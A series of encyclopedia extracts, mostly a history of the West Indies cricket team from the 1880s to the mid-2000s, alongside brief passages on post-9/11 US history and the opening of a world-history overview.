          Since 9/11, Islamic extremists made various attempts to attack the US homeland, with varying levels of organization and skill. For example, in 2001 vigilant passengers aboard a transatlantic flight to Miami prevented Richard Reid (shoe bomber) from detonating an explosive device. Other terrorist plots have been stopped by federal agencies using new legal powers and investigative tools, sometimes in cooperation with foreign governments. Such thwarted attacks include a plan to crash airplanes into the U.S. Bank Tower (aka Library Tower) in Los Angeles; the 2003 plot by Iyman Faris to blow up the Brooklyn Bridge in New York City; the 2004 Financial buildings plot which targeted the International Monetary Fund and World Bank buildings in Washington, DC, the New York Stock Exchange and other financial institutions; the 2004 Columbus Shopping Mall Bombing Plot; the 2006 transatlantic aircraft plot which was to involve liquid explosives; the 2006 Sears Tower plot; the 2007 Fort Dix attack plot; and the 2007 John F. Kennedy International Airport attack plot.


          After months of brutal violence against Iraqi civilians by Sunni and Shiite terrorist groups and militias -- including Al-Qaeda in Iraq - in January 2007 President Bush presented a new strategy for Operation Iraqi Freedom based upon Counter-insurgency theories and tactics developed by General David Petraeus. The Iraq War troop surge of 2007 was part of this "new way forward" and has been credited by some with a dramatic decrease in violence and an increase in political and communal reconciliation in Iraq.


          As of 2008, debates continue over abortion, gun control, same-sex marriage, immigration reform, and the ongoing war in Iraq. A new Congressional majority promised to withdraw US forces from Iraq, however Congress continues to fund efforts in both Iraq and Afghanistan. In the area of foreign policy, the U.S. maintains ongoing talks with North Korea over its nuclear weapons program, as well as with Israel and the Palestinian Authority over a two-state solution to the Israeli-Palestinian conflict; the Palestinian-Israeli talks began in 2007, an effort spearheaded by United States Secretary of State Condoleezza Rice. The George W. Bush administration has also stepped up rhetoric implicating Iran and more recently Syria in the development of weapons of mass destruction.
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          The history of the West Indian cricket team begins in the 1880s when the first combined West Indian team was formed and toured Canada and the United States. In the 1890s, the first representative sides were selected to play visiting English sides. Administered by the West Indies Cricket Board ("WICB"), and known colloquially as The Windies, the West Indies cricket team represents a sporting confederation of English-speaking Caribbean countries.


          The WICB joined the sport's international ruling body, the Imperial Cricket Council, in 1926, and played their first official international match, which in cricket is called a Test, in 1928. Although blessed with some great players in their early days as a Test nation, their successes remained sporadic until the 1960s, by which time the side had changed from a white-dominated to a black-dominated side. By the 1970s, the West Indies had a side recognised as unofficial world champions, a title they retained throughout the 1980s. Their team from the 1970s and 1980s is now widely regarded as having been one of the best in test cricket's history, alongside Don Bradman's Invincibles. During these glory years, the Windies were noted for their four-man fast bowling attack, backed up by some of the best batsmen in the world. The 1980s saw them set a then-record streak of 11 consecutive Test victories in 1984, which was part of a still-standing record of 27 tests without defeat (the other tests being draws), as well as inflicting two 50 "blackwashes" against the old enemy of England. Throughout the 1990s and 2000s, however, West Indian cricket declined, in part due to the rise in popularity of athletics and football in West Indian countries, and the team today is struggling to regain its past glory.


          In their early days in the 1930s, the side represented the British colonies of the West Indies Federation plus British Guyana. The current side represents the now independent states of Antigua and Barbuda, Barbados, Dominica, Grenada, Guyana, Jamaica, Saint Kitts and Nevis, Saint Lucia, Saint Vincent and the Grenadines and Trinidad and Tobago, and the British dependencies of Anguilla, Montserrat and the British Virgin Islands along with the U.S. Virgin Islands and St. Maarten. National teams also exist for the various different islands, which, as they are all separate countries, very much keep their local identities and support their local favourites. These national teams take part in the West Indian first-class competition, the Stanford 20/20, the Carib Beer Cup (earlier known as the Busta Cup, Shell Shield and various other names). It is also common for other international teams to play the island teams for warm-up games before they take on the combined West Indies team.


          


          Early tours


          The first major international cricket played in the West Indies was between local, often predominantly white, sides and English tourists  the Middlesex player Robert Slade Lucas toured the West Indies with a team in 1894-95, and two years later Arthur Priestley took a team to Barbados, Trinidad, and Jamaica, which included, for the first time, a match against a side styled "All West Indies", which the West Indians won. Lord Hawke's English team, including several English Test players, toured around the same time, playing Trinidad, Barbados and British Guiana (now Guyana). Then in 1900 the white Trinidadian Aucher Warner, the brother of future England captain Pelham Warner, led a touring side to England, but none of the matches on this tour were given first-class status. Two winters later, in 1901-02, the Hampshire wicketkeeper Richard Bennett's XI went to the West Indies, and played three games against teams styled as the "West Indies", which the hosts won 21. In 1904-05, Lord Brackley's XI toured the Caribbean  winning both its games against "West Indies".


          The tours to England continued in 1906 when Harold Austin led a West Indian side to England. His side played a number of county teams, and drew their game against an "England XI". However, that England XI only included one contemporary Test player  wicketkeeper Dick Lilley  and he had not been on England's most recent tour, their 19056 tour of South Africa. The Marylebone Cricket Club, which had taken over responsibility for arranging all official overseas England tours, visited the West Indies in 1910-11, and 1912-13 but after that there was no international cricket of any note until the West Indian team went to England in 1923. This tour did not include a game against an England team, but there was an end-of-season game against HDG Leveson-Gower's XI against a virtual England Test side at the Scarborough cricket festival, a traditional end-of-season game against a touring side at the English seaside resort of Scarborough, which Leveson-Gower's XI won by only four wickets. 1925-26 saw another MCC tour of the West Indies.


          The MCC was eager to promote cricket throughout the British Empire, and on 31 May 1926 the West Indian Cricket Board, along with their New Zealand and Indian counterparts, was elected to the Imperial Cricket Conference (ICC), which previously consisted of the MCC and representatives of Australia and South Africa. Election to full membership of the ICC meant the West Indies could play official Test matches, which is the designation given to the most important international games, and the Windies became the fourth team actually to play a recognised Test match on 23 June 1928 when they took on England at Lord's in London. They did not, however, enjoy immediate success  the West Indies lost all three 3-day Tests in that 1928 tour by a long way, failing to score 250 runs in any of their six innings in that series. They also failed to dismiss England for under 350 runs in a series completely dominated by England.


          


          The early Tests (1930s and 1940s)
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          The West Indies played 19 Tests in the 1930s in four series against England and one against Australia. The first four of these were played against an England team led by the Honourable Freddie Calthorpe that toured in 192930. However, as Harold Gilligan was leading another English team to New Zealand at exactly the same time, this was not a full-strength England side. The series ended one-all, with the West Indies first ever Test victory being recorded on 26 February 1930. West Indians George Headley scored the most runs (703) in the rubber and Learie Constantine took the most wickets (18).


          The Windies toured Australia in 193031. They lost the Test series 41. The fifth and final Test showed some promise  batting first, the West Indies spent the first three days earning a 250-run lead with five wickets down in their second innings. A bold declaration was backed up by their bowlers, as Herman Griffith took four wickets and West Indies won by 30 runs to their first overseas Test victory. By the time the team left, they had left a good impression of themselves with the Australian public, although at first the team were faced with several cultural differences  for example, their hosts did not at first appreciate that the tourists' Roman Catholic beliefs would mean they would refuse to play golf on Sundays or engage in more ribald behaviour. The West Indian sides of the time were always led by white men, and the touring party to Australia comprised seven whites and eleven "natives", and the West Indian Board of Control wrote to their Australian counterparts saying "that all should reside at the same hotels". Australia at the time was implementing its " White Australia" policy, with the Australian Board having to guarantee to the Government that the non-whites would leave at the end of the tour. When the West Indians arrived in Sydney, the whites were immediately given a different hotel from the blacks. They complained, and thereafter their wishes were met. The tour lost a lot of money, part of which was down to the Great Depression then engulfing Australia. The West Indians won four and lost eight of their 14 first-class fixtures.


          1933 saw another tour of England. Their hosts had just come back from defeating Australia in the infamous Bodyline series, where England's aggressive bowling at the body with a legside field attracted much criticism. England won the three-Test series of three-day Tests against the Windies 20. The second, drawn, Test at Old Trafford, Manchester, provided an intriguing footnote to the Bodyline controversy when Manny Martindale and Learie Constantine bowled Bodyline  fast, short-pitched balls aimed at the body  against the Englishmen, the only time they faced it in international cricket. The tactic did not work, as Douglas Jardine, the English captain who ordered his players to bowl it against the Australians, did not flinch as he scored his only Test century, making 127 out of England's 374.
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          Another England tour of the West Indies followed in 193435. England won the first Test in Barbados on a poor pitch, affected by rain, and in a match where 309 runs were scored, England took a four-wicket victory. Both sides declared one of their innings closed to have their bowlers take advantage of the poor pitch. The second Test saw the Windies win by 217 runs, and a drawn third Test saw the series go to a decider at Sabina Park in Jamaica. A massive 270 not out from George Headley saw the Windies declare on 535 for 7. Despite a century from Les Ames, England could not avoid going down by an innings and 161 runs  the West Indies had secured their first Test series victory.


          The West Indies toured England in 1939. England won the first Test at Lord's easily by 8 wickets, then there was a rain-affected draw in Manchester, and finally a high-scoring draw at the Oval in mid-August. The highlight of the series for the West Indies was George Headley scoring hundreds in both innings in the Lord's Test. With the clouds of World War II seemingly about to envelope Europe, the rest of the tour was cancelled and the Windies returned home. They would play no more Tests until 21 January 1948 saw the start of the first Test the West Indies played since the War, which resulted in a draw against the MCC side from England. The second Test was also drawn, with George Carew and Andy Ganteaume both making centuries. Ganteaume was then dropped, ending with a Test average of 112  the highest in Test history. The West Indies won the final two Tests chasing sub-100 totals, and wrapped up the series 20, their first away-series victory.


          In 1948, West Indies toured newly independent India for the first time for a five Test tour. The tour was preceded by a non-Test tour of Pakistan and followed by a similar short tour of Ceylon. After three high-scoring draws against the Indians, the West Indians wrapped up the fourth by an innings before a thrilling fifth Test, which left the Indians six runs away from victory with two wickets in hand as time ran out, so that the West Indies thus won the rubber 10. Carrying on from his hundred in the series against England, Everton Weekes set a record of scoring hundreds in five successive Test innings.


          


          The post-War period (1950s)


          1950 saw another tour of England, the series saw the emergence for the West Indies of their great spinning duo, Sonny Ramadhin and Alf Valentine. England won the first Test by 202 runs, but Valentine and Ramadhin's bowling would win the series for the visitors. The second Test saw the Windies put on 326 thanks to 106 from Allan Rae before Valentine (4 for 48) and Ramadhin (5 for 66) skittled England in the first innings. A mammoth 168 from Clyde Walcott saw England set a theoretical target of 601. Ramadhin's 6 for 86 and Valentine's 3 for 79 dismissed the hosts for 274. The spinning duo took 12 wickets, Frank Worrell made 261 and Everton Weekes 129 as the third Test went the Windies way by 10 wickets, the fourth saw 14 wickets from Valentine and Ramadhin and centuries from Rae and Worrell as England were defeated by an innings. The West Indies won the series 31.


          In 195152 the Windies visited Australia. The first Test saw a narrow defeat by three wickets, with the two spinners seemingly continuing their form with twelve wickets between them. The second Test was lost by seven wickets, as Australia replied to the Windies 362 and 290 with 567 (which included centuries from Lindsay Hassett and Keith Miller) and 137 for 2. 6 wickets from Worrell in the third Test saw Australia dismissed for only 82, and the Windies eventually won by six wickets to pull back to two-one down in the series. The fourth Test saw the series lost in a narrow defeat. Worrell, batting with an injured hand, scored 108 and helped the Windies to 272 before Australia made 216 in reply. 203 from the Windies left Australia a target of 260. 5 wickets from Valentine helped reduced the Aussies to 222 for 9, 38 short with 1 wicket remaining. It didn't happen, as some brilliant running between the wicket for Australia by Bill Johnston and Doug Ring saw West Indies lose their composure and the match. The fifth Test saw three batting collapses, as Australia (116 and 377) beat Windies (78 and 213) by 202 runs to finish the rubber four-one winners. The West Indies then went on to New Zealand. In the first Test encounter between the two teams, the visitors to scored a five wicket victory. In the second and final Test, Allan Rae scored 99, Jeffrey Stollmeyer 152, Frank Worrell 100 and Clyde Walcott 115 as the West Indies put on 546 for 6 declared. There wasn't enough time to bowl out the opposition twice though, as the hosts made 160 and were following-on at 17 for 1 when stumps were drawn, leaving the Windies series winners.


          The Indians toured at the beginning of 1953. The Windies won the second of the five Tests that were played, with the others all being draws. The highlight of these games we Frank Worrell's 237 in the fifth Test, where all the three W's scored hundreds, as the West Indies scored a 10 series victory. Len Hutton led an MCC (England) side to the islands in 195354. Sonny Ramadhin again starred for the Windies taking 23 wickets (no other West Indian took more than 8), as Walcott's 698 runs was more than 200 higher than second-placed West Indian, Everton Weekes. The five match rubber was drawn two-all.


          Australia came and conquered in 195455. After the Aussies made 515 in the first innings of the first Test, the Windies went down by 9 wickets. Then the Windies 382 was put in the shade by 600 for 9 declared by the visitors as the second Test was drawn. A low-scoring third Test saw Australia (257 and 133 for 2) beat the hosts (182 and 207) by 8 wickets. After Australia scored 668 in the fourth Test, the series was lost, although a double century from captain Denis Atkinson and a world-record stand for the seventh wicket allowed the Windies to reach 510 and draw the Test. The fifth Test saw the West Indies win the toss and bat. Walcott's 155 was the highest score of their 357. The Australians then batted and batted, in total for 245.4 overs in the 6-day Test, as they put on 758 for 8 declared, with five players making centuries. 319 in the West Indies' second innings left them defeated by an innings and 82 runs in the Test, and by three games to nil in the series. Walcott set records by scoring five hundreds, and hundreds in both innings of a match twice. A four-Test tour of New Zealand followed in February 1956. After two wins by an innings and one by 9 wickets, the Windies were surprised by the Kiwis in the fourth, dismissing them for 145 and 77 as they recorded their first ever Test win in their 45th Test.


          John Goddard returned to captain the West Indians for a five-Test tour of England in 1957, which was lost three-nil, with England having the better of the two draws. Then 195758 Gerry Alexander led a team that defeated Pakistan three-one. It was in this series in Jamaica that Garry Sobers scored 365 not out to record what was then the highest score in Test match cricket. Alexander went on to lead the West Indies to a three-nil win over five Tests in India, and a two-one defeat to Pakistan in a three match rubber in the following winter. In 195960 he led as West Indies went down one-nil at home in a five-match series with England.


          


          A period of mixed fortunes (1960s)


          Despite being a region where whites are a minority, until 1960 West Indies were always captained by white cricketers, though this was more social than racial discrimination. Throughout the fifties, social theorist CLR James, the increasingly political former cricketer Learie Constantine and others called for a black captain. Constantine himself had stood in for Jackie Grant in the field against England on the 1937-38 tour, and George Headley captained the West Indies in the First Test against England in 1947-48 when the appointed, white captain, John Goddard was injured. However, no black was appointed as captain for a whole series until Frank Worrell was chosen to lead West Indies in their tour of Australia in 1960-61. In his three years as captain, Worrell moulded a bunch of talented but raw cricketers into the best team in the world.


          In 1960, Australia were the best team in the world but on their way down, while West Indies were on their way up. It so happened that when they met, the two teams were of almost equal strength. The result was a series that, along with the 2005 Ashes, has been recognised as one of the greatest of all time. The first Test in Brisbane was the first Test ever to end in a tie, which in cricket means the side batting last has been dismissed with scores level. The teams shared the next two Tests. In the fourth, Australia's last pair of Ken Mackay and Lindsay Kline played out the last 100 minutes of the match to earn a draw, while Australia won the final Test and the series by two wickets. One of the days of play was attended by a world-record crowd of 90,800. Such was the impression created by Worrell's team that the newly instituted trophy for the series between the two teams was named the Frank Worrell Trophy. Half a million people lined the streets of Melbourne to bid them a ticker-tape farewell.


          West Indies beat India 50 at home next year, and in 1963, they beat a fine English team by three matches to one. The Lord's Test of this series saw a famous finish. With two balls left, England needed six runs to win, and West Indies one wicket. The non-striker was Colin Cowdrey, who had his left arm in a sling, having fractured it earlier in the day. However, David Allen safely played out the last two balls and the match ended in a draw. Worrell retired at the end of the series. The selectors picked Garry Sobers to succeed him.


          Worrell did, however, serve as the team manager when West Indies hosted Australia in 196465. The matches against Australia were bitterly fought, with accusations about Charlie Griffith's action (he was accused of throwing, which is banned in the laws of cricket) and bouncer wars. The West Indies won this series 21 to be the unofficial world champions. Sobers was not as good at man-management as Worrell and cracks soon began to appear. Often it was his individual brilliance that made the difference between a win and a loss. Throughout the sixties, West Indies bowling was led by Wes Hall, Griffith, Lance Gibbs and Sobers himself. Hall and Griffith faded and then retired by the end of the decade, but WI could find no replacement for them till the mid-seventies.


          Sobers was at his best in England in 1966, scoring 722 runs and taking 20 wickets in the five Tests. Three times he topped 150, and the 163* at Lord's turned a certain defeat into a near victory. West Indies won 31. England toured the West Indies in 196768 for a series that became noted for England's deliberate slow play. West Indies were forced to follow on in the first Test but saved it without difficulty. The second Test was played on an underprepared wicket at Kingston. England won an important toss and scored 376. The bounce of the wicket having become very uneven, West Indies collapsed to 143 and followed on again. On the fourth day in the second innings, a disputed decision led to a crowd riot, and the match had to be stopped for some time. In a curious decision, the West Indian Cricket Board (WICB) agreed to add a 75-minute sixth day to compensate for the lost time. Sobers played an outstanding innings of 113 not out, which allowed West Indies to set England a target of 159 in 155 minutes. England just about saved the game, losing eight wickets for 68. In the fourth Test West Indies gained a first innings lead of 122 at Port-of-Spain, but with the second innings score at 92 for 2, Sobers, frustrated by England's slow over rates and wanting to give himself a chance, albeit a small one, to win, surprisingly declared the innings, a decision for which he was widely criticised at the time. England were set a target of 215 in 165 minutes and they achieved it with 3 minutes to spare. West Indies made one last effort to win the final Test, but England drew it with only wicket left in their second innings. West Indies lost the series 01, the first defeat since 196061.


          Australia and Bill Lawry had their revenge in 196869, when West Indies lost the series, which was played in Australia, 13. New Zealand managed to draw the series that followed, and then in 1969 West Indies were defeated 02 in England.


          


          World dominance (1970s)


          West Indies' woes overflowed into the seventies. At home in 197071, they lost to India for the first time. In the next year, a five Test series against New Zealand cricket team ended with no team coming close to winning one. The problem was that Sobers was the only world-class bowler in the side. A major find in the New Zealand series was Lawrence Rowe, who started off with a double century and century on his debut. Under Rohan Kanhai's captaincy, West Indies showed the first signs of revival. Australia won the closely fought 197273 series in the Caribbean by two Tests. With Sobers back  but Kanhai still the captain  West Indies defeated England 20 in 1973, which included a win by an innings and 226 runs at Lord's, their biggest win against England. The return series in West Indies ended 11, though the home team was the better side. Rowe continued his run scoring three centuries including a 302 at Kingston. The final Test of this 197374 series marked the end of an era in West Indies cricket  it was the last Test of both Garry Sobers and Rohan Kanhai, and marked the emergence of fast bowler Andy Roberts.


          The new captain Clive Lloyd had made his first appearance in Test cricket in 1966 and had since become a fixture in the side. His avuncular, bespectacled appearance and a stoop near the shoulders masked the fact that was a very fine fielder, especially in the covers, and a devastating stroke player. Lloyd's first assignment was the tour of India in 197475. West Indies won the first two Tests against India comfortably. Greenidge started his career with 107 and 93 on his debut. Richards failed in his first Test, but scored 192* in his second. India fought back to win the next two, but Lloyd hit 242* in the final Test to win the series.


          West Indies won the inaugural World Cup in England in 1975, defeating Australia in the final. Then in 197576 they toured Australia, only to lose 15 in the six-Test series, and then beat India at home two-one in a four Test series later that same winter. It was in 197576 that quick bowler Michael Holding made his debut. Colin Croft and Joel Garner made their debut the next year, and Malcolm Marshall two years after. In the span of about four years, West Indies brought together a bowling line-up of a quality that had rarely been seen before. The Indian tour saw the debut of Vivian Richards, arguably the finest West Indian batsman ever, and Gordon Greenidge, who joined a strong batting line-up that already included Alvin Kallicharran and opener Roy Fredericks in addition to Rowe and Lloyd. These players formed the nucleus of the side that became recognised as world Test match champions until the beginning of the 1990s.


          Next came a tour of England in 1976. In a TV interview before the series, English captain Tony Greig commented that the West Indies tend to do badly under pressure and that "we'll make them grovel". This comment, especially as it came from a South African-born player, touched a raw nerve of the West Indians. Throughout the series, the English batsmen were subjected to some very hostile bowling. After the first two Tests ended in draws, West Indies won the next three. Of the many heroes for West Indies, Richards stood out with 829 runs in four Tests. He hit 232 at Trent Bridge and 291 at the Oval. Greenidge scored three hundreds, two of which were on the difficult wicket at Old Trafford. Roberts and Holding shared 55 wickets between them, Holding's 8 for 92 and 6 for 57 on the dead wicket at the Oval being a superlative effort.


          West Indies won a home series against a tough Pakistan side in 197677. A few months later, the World Series Cricket (WSC) controversy broke out. Most of the West Indian players signed up with Kerry Packer, an Australian TV magnate who was attempting to set up his own international cricket competition. The Australian team that toured West Indies the next year included no Packer players. West Indies Cricket Board fielded a full-strength team under the argument that none of the West Indies players had refused to play, but disputes arose in the matter of payment and about the selection of certain players. Before the third Test, Lloyd resigned his captaincy. Within two days all the other WSC-contracted players also withdrew. Alvin Kallicharran captained the team for the remaining Tests of the series, which the Windies won three-one.


          WICB allowed the WSC players to appear in the 1979 World Cup, and the West Indies retained the title with little difficulty. By the end of 1979, the WSC disputes were resolved. Kallicharran was deposed after losing a six-match series one-nil in India and Lloyd returned as captain for a tour against a full-strength Australia (where the Windies won two-nil, with one draw) and New Zealand. The latter tour was full of controversy. New Zealand won the first Test at Dunedin by one wicket, but West Indies were never happy with the umpiring. West Indian discontent boiled over the next Test at Christchurch. While running into bowl, Colin Croft deliberately shouldered the umpire Fred Goodall. When Goodall went to talk to Lloyd about Croft's behaviour, he had to walk all the way to meet the West Indian captain, as the latter did not move an inch from his position at the slips. After tea on the third day, West Indies refused to take the field unless Goodall was removed. They were persuaded to continue, and it took intense negotiations between the two boards to keep the tour on track. The Kiwis won the three match series after the second and third Tests ended in draws.


          


          Dominance, rebels and blackwashes (1980s)


          
            
              	WI Test series in the 1980s
            


            
              	SEASON

              	Vs

              	HOSTS

              	P

              	W

              	L

              	D
            


            
              	197980

              	NZ

              	NZ

              	3

              	0

              	1

              	2
            


            
              	1980

              	ENG

              	ENG

              	5

              	1

              	0

              	4
            


            
              	198081

              	PAK

              	PAK

              	4

              	1

              	0

              	3
            


            
              	198081

              	ENG

              	WI

              	4

              	2

              	0

              	2
            


            
              	198182

              	AUS

              	AUS

              	3

              	1

              	1

              	1
            


            
              	198283

              	IND

              	WI

              	5

              	2

              	0

              	3
            


            
              	198384

              	IND

              	IND

              	6

              	3

              	0

              	3
            


            
              	198384

              	AUS

              	WI

              	5

              	3

              	0

              	2
            


            
              	1984

              	ENG

              	ENG

              	5

              	5

              	0

              	0
            


            
              	198485

              	AUS

              	AUS

              	5

              	3

              	1

              	1
            


            
              	198485

              	NZ

              	WI

              	4

              	2

              	0

              	2
            


            
              	198586

              	ENG

              	WI

              	5

              	5

              	0

              	0
            


            
              	198687

              	PAK

              	PAK

              	3

              	1

              	1

              	1
            


            
              	198687

              	NZ

              	NZ

              	3

              	1

              	1

              	1
            


            
              	198788

              	IND

              	IND

              	4

              	1

              	1

              	2
            


            
              	198788

              	PAK

              	WI

              	3

              	1

              	1

              	1
            


            
              	1988

              	ENG

              	ENG

              	5

              	4

              	0

              	1
            


            
              	198889

              	AUS

              	AUS

              	5

              	3

              	1

              	1
            


            
              	198889

              	IND

              	WI

              	4

              	3

              	0

              	1
            


            
              	198990

              	ENG

              	WI

              	4

              	2

              	1

              	1
            


            
              	After losing their first series of the 1980s in March 1980, the West Indies went throughout the rest of the decade undefeated.
            

          


          The 1980s started with a one-nil victory away to England over five Tests, one-nil away to Pakistan over four Tests, two-nil home to England over four Tests and a one-all draw away to Australia. Then in 198283, a West Indian rebel team toured apartheid South Africa. It was led by Lawrence Rowe and included prominent players like Alvin Kallicharran, Colin Croft, Collis King and Sylvester Clarke. WICB banned the players for life (which was later revoked), and some were refused entry back home. However, the rebels managed another tour the next year, which included most of the players of the original team. Despite this loss of talent, the official Windies side continued to dominate. During this time, the West Indies established themselves as one of test cricket's all-time great sides, peaking perhaps on their tour of England under Clive Lloyd in 1984, where they won the series 5-0, which has made them still the only touring side in test history to whitewash a five-test series. At the same time, the West Indies established the then-record of 11 consecutive test victories, which was part of a still-standing record of 27 tests without defeat. In the period to 198586 they won every series they played, with their only notable defeat being in the one-day arena, when, to general surprise, they lost to India in the final of the 1983 World Cup. This was followed by a second "blackwash" against England at home in 1985-86.


          During this streak the West Indian captain Lloyd retired from Test cricket at the end of the 198485 series against Australia. In total Lloyd had captained West Indies in 74 Test matches, winning 36 of them. Vivian Richards was Lloyd's successor, and continued the run of success. Meanwhile, a change of old guard was also happening. Joel Garner and Michael Holding had retired by 1987. A major find was Curtly Ambrose, who was as tall as Garner and as equally effective with the ball. Courtney Walsh, who made his first appearance in 1984, bowled with an action that resembled Holding. Ian Bishop also had a similar action, and was as good a bowler till injuries interrupted his career. Patrick Patterson was faster than all the rest, but had a short career. Marshall still was the finest fast bowler in the world. Batting was beginning to show signs of weakness. They also failed to qualify for the semifinal of the 1987 World Cup. By the end of the eighties, while still the best team in the world, they had lost the aura of invincibility that they had till the middle of the decade. Finding good replacements for senior players was again becoming a problem.


          


          Fall from grace


          During the early 1990s, the West Indies team was still reeling from the late 1980s retirements of players like Jeff Dujon, Patrick Patterson, Clive Lloyd, Gordon Greenidge Malcolm Marshall, Joel Garner, Michael Holding and Eldine Baptiste and when Viv Richards retired in 1991 it was an end of an era. This left a youthful and inexperienced side. Indeed after Richards' retirement the only players with significnant experience were Richie Richardson (the captain), Desmond Haynes who was soon dropped, Gus Logie, who was recalled and Roger Harper who came and went. However did not immedietly affect their performance. Richie Richardson capably picked up the captaincy from Richards and Brian Lara was waiting in the wings as were a new crop of young players such as Ian Bishop, Jimmy Adams, Carl Hooper, Phil Simmons, Keith Arthurton and Winston Benjamin. It was five more years before West Indies lost a series, but they had a number of close shaves. South Africa on their comeback played its first Test match in Bridgetown, a match which was attended by fewer than 10,000 people because of a boycott. Needing 201 to win on the last day, South Africa reached 123 for 2 before Curtly Ambrose and Courtney Walsh took the remaining wickets for 25 runs. In 199293, West Indies defeated Australia by one run at Adelaide, where a loss could have cost them the series. In 1992, West Indies once again failed to qualify for the World Cup semifinal. Australia finally defeated West Indies 21 in 199495 to become the unofficial world champions of Test cricket. The 1996 World Cup ended with a defeat in the semifinal, which forced Richie Richardson, who had taken over the captaincy from Richards in 1991, to end his career. West Indies made their first-ever official tour to South Africa in 199899. It ended in disaster, starting with player revolts and ending with a 05 defeat. The 1999 World Cup campaign ended in the group stages. The next year, England won a series against West Indies for the first time in thirty-one years. West Indies ended the decade with another 05 defeat in Australia.


          For most of the nineties and afterwards, the West Indian batting has been dominated by Brian Lara and the bowling attack was centred around Curtly Ambrose and Courtney Walsh. Lara became a regular in the side after the retirement of Richards in 1991. Against England at Antigua 199394, he scored 375 and broke Sobers' world record for the highest individual score in Test cricket. He then became the only man to regain this record by scoring 400 against England in 2004 at Antigua after Matthew Hayden had broken the record against Zimbabwe the previous year. He continued his fine form for Warwickshire and hit seven first-class hundreds in eight innings. The last of these was a 501 not out against Durham, which improved upon Hanif Mohammad's thirty-five-year-old record as the highest score in first-class cricket. Bowling support was given by Curtly Ambrose and Courtney Walsh, the latter after setting a then world record of 519 wickets. However, these two were gone by 2001. The bowlers to follow had big shoes to fill (quite literally) and ultimately have not responded close to the level that Ambrose and Walsh have set. Despite the presence of some good batsmen like Shivnarine Chanderpaul and Ramnaresh Sarwan, Brian Lara still remained the crucial figure of the side.


          After a two-nil defeat to New Zealand in 199900, Lara was replaced as captain by Jimmy Adams, who initially enjoyed series wins against Zimbabwe and Pakistan, but a three-one defeat to England and a five-nil whitewash by Australia saw him replaced by Carl Hooper for the 200001 visit by South Africa. By the time Lara was restored to the captaincy in 200203 series had been lost to South Africa, Sri Lanka, Pakistan, New Zealand and India. The only series win of note was against India (although Zimbabwe and Bangladesh were still beaten) as the West Indies plummeted to eighth place in the world-rankings, below all the other established Test nations.


          After losing his first series of his second captaincy period to world-champions Australia, Lara secured success against Sri Lanka and Zimbabwe, before another poor run saw three-nil defeats over four Tests against both South Africa and England, although the fourth Test against England was drawn after Lara posted a world-record individual Test score of 400 not out. The West Indies were then whitewashed four-nil in England. Lara's last act as captain was to win the 2004 ICC Champions Trophy, a one-day competition second only to the Cricket World Cup, at the Oval, London  a win that was a welcome surprise for the Caribbean which had just been hit by Hurricane Ivan.


          This joy was short-lived as a major dispute broke out in 2005 between the West Indian Players Association (WIPA) and the Cricket Board. The point of contention was the 'clause 5' of the tour contract which gave WICB the sole and exclusive right to arrange for sponsorship, advertising, licensing, merchandising and promotional activities relating to WICB or any WICB Team. Digicel were the sponsors of the West Indian Team, while most of the players had contracts with Cable & Wireless. This and a payment dispute meant the West Indies first announced a team absent Lara and a number of other leading West Indians for South Africa's visit in 200405, leading to Shivnarine Chanderpaul becoming captain. Some of these players did, in the end, compete. The dispute had not been finally resolved, though, and rumbled on, leading to a second-string side being named for the tour of Sri Lanka in 2005. The dispute was not resolved until October 2005, when a full-strength side was finally named for the 20056 tour of Australia. It was on this tour that Brian Lara overtook Australian Allan Border as the highest run-scorer in Test match cricket but lost the series 0-3.


          


          Tournament history


          


          World Cup


          
            	1975: Won


            	1979: Won


            	1983: Runners up


            	1987: First round


            	1992: 6th place


            	1996: Semi Finals


            	1999: First round


            	2003: First round


            	2007: 6th place

          


          


          ICC Champions Trophy


          
            	2002: First round


            	2004: Won

          


          


          ICC Knockout


          
            	1998: Runners up


            	2000: First round

          


          


          Bowling attack


          The West Indies generally play fast bowlers more so than spin bowlers. This is partly because the Caribbean pitches tend to be very hard and fast. The West Indian team at any one time will generally consist of four fast bowlers (as opposed to a mixture of fast and spin bowlers). They have on occasion played spin bowlers however, they tend to be batting All-Rounders. Examples include Gus Logie, Carl Hooper, etc. One famous example of their "four-pronged" pace attack (as it has been dubbed) was during the 1980s when the attack generally included:


          
            	Malcolm Marshall (fast bowler)


            	Joel Garner (fast)


            	Patrick Patterson (fast) and


            	Michael Holding (fast)

          


          Their current attack includes:


          
            	Corey Collymore (fast medium/ seam)


            	Daren Powell (fast medium)


            	Dwayne Bravo (fast medium) and


            	Jerome Taylor (fast)

          


          


          
            Retrieved from " http://en.wikipedia.org/wiki/History_of_the_West_Indian_cricket_team"
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        History of the world


        
          

          
            
              	
            

          


          The history of the world, by convention, is human history, from the first appearance of Homo sapiens to the present. Human history is marked both by a gradual accretion of discoveries and inventions, as well as by quantum leaps  paradigm shifts, and revolutions  that comprise epochs in the material and spiritual evolution of humankind.


          Human history, as opposed to prehistory, has in the past been said to begin with the invention, independently at several sites on Earth, of writing, which created the infrastructure for lasting, accurately transmitted memories and thus for the diffusion and growth of knowledge. Writing, in its turn, had been made necessary in the wake of the Agricultural Revolution, which had given rise to civilization, i.e., to permanent settled communities, which fostered a growing diversity of trades.


          Such scattered habitations, centered about life-sustaining bodies of water  rivers and lakes  coalesced over time into ever larger units, in parallel with the evolution of ever more efficient means of transport. These processes of coalescence, spurred by rivalries and conflicts between adjacent communities, gave rise over millennia to ever larger states, and then to superstates or empires. In Europe, the fall of the Western Roman Empire (476 CE) is commonly taken as signaling the end of antiquity and the beginning of the Middle Ages.


          A thousand years later, in the mid-15th century, Johannes Gutenberg's invention of modern printing, employing movable type, revolutionized communication, helping end the Middle Ages and usher in modern times, the European Renaissance and the Scientific Revolution.


          By the 18th century, the accumulation of knowledge and technology, especially in Europe, had reached a critical mass that sparked into existence the Industrial Revolution. Over the quarter- millennium since, the growth of knowledge, technology, commerce, and  concomitantly with these  the potential destructiveness of war has accelerated geometrically, creating the opportunities and perils that now confront the human communities that together inhabit the planet.


          


          Paleolithic period


          
            [image: Map of early human migrations, according to mitochondrial population genetics. Numbers are millennia before the present (accuracy disputed).]
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          "Paleolithic" means "Old Stone Age." This was the earliest period of the Stone Age. The Lower Paleolithic predates Homo sapiens, beginning with Homo habilis and the earliest use of stone tools some 2.5 million years ago. Homo sapiens originated some 200,000 years ago, ushering in the Middle Paleolithic.


          Sometime during the Middle Paleolithic, humans also developed language, music, early art, as well as systematic burial of the dead.


